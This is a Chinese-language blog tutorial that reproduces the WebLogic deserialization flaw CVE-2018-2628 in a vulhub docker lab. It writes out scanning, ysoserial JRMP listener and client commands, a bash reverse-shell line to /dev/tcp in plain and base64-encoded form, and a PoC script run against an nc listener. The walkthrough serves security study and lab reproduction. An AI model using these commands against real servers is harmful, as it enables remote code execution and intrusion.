Weblogic反序列化漏洞(CVE-2018-2628)實現反彈shell

Weblogic反序列化漏洞(CVE-2018-2628)反彈shell


技術無罪,請勿用於惡意用途
轉載請註明出處!

看見大部分復現教程都是彈計算器,創建文件夾,對於一些人來說不能滿足需求,所以我準備做一個反彈shell的復現。

測試機:MacBook-Air
測試機IP:192.168.0.100
靶機IP:192.168.0.100:7001
環境: docker
工具:CVE-2018-2628漏洞利用工具包 下載

一. 環境搭建

將環境vulhub的環境git到本地

git clone https://github.com/vulhub/vulhub.git

接着 cd weblogic/CVE-2018-2628
在這裏插入圖片描述
輸入docker-compose up -d 啓動

docker-compose up -d

在這裏插入圖片描述

啓動後訪問頁面192.168.0.100:7001

在這裏插入圖片描述
出現這個頁面說明已經成功了

二. 漏洞測試

使用nmap進行掃描

nmap -n -v -p7001,7002 192.168.0.100 --script=weblogic-t3-info

在這裏插入圖片描述
結果顯示開啓了T3協議

下載 CVE-2018-2628漏洞利用工具包
在這裏插入圖片描述
修改url.txt 將裏面的IP 改成目標IP
在這裏插入圖片描述

python CVE-2018-2628-MultiThreading.py

在這裏插入圖片描述
出現 is vul CVE-2018-2628 說明漏洞存在

三. 漏洞復現

啓動JRMP Server:

java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener [listen port] Jdk7u21 [command]

[command] : 需要執行的命令
[listen port] : JRMP Server監聽的端口。

這裏我們反彈shell

java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -i >& /dev/tcp/192.168.0.100/9999 0>&1'

此處特別注意!!!

由於 Runtime.getRuntime().exec() 中不能使用管道符等bash需要的方法,我們需要進行一次編碼。

轉化工具鏈接 : http://www.jackson-t.ca/runtime-exec-payloads.html
在這裏插入圖片描述
編碼後的命令如下

java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTAwLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}'

運行命令
在這裏插入圖片描述

出現 * Opening JRMP listener on 8888

說明JRMP Server正在監聽8888端口

執行

java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 192.168.0.100:8888 | xxd -p | tr -d $'\n' && echo

複製結果
在這裏插入圖片描述

將weblogic_poc.py 中的 PYLOAD進行替換

在這裏插入圖片描述

並將此處IP改爲目標 IP
在這裏插入圖片描述
使用 nc 進行監聽本地的9999端口
在這裏插入圖片描述
執行

python weblogic_poc.py

在這裏插入圖片描述
可以看見反彈shell成功了
在這裏插入圖片描述
執行命令試試
在這裏插入圖片描述

搞定~

參考鏈接

http://www.jackson-t.ca/runtime-exec-payloads.html
https://www.jianshu.com/p/6649118ba7b6
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章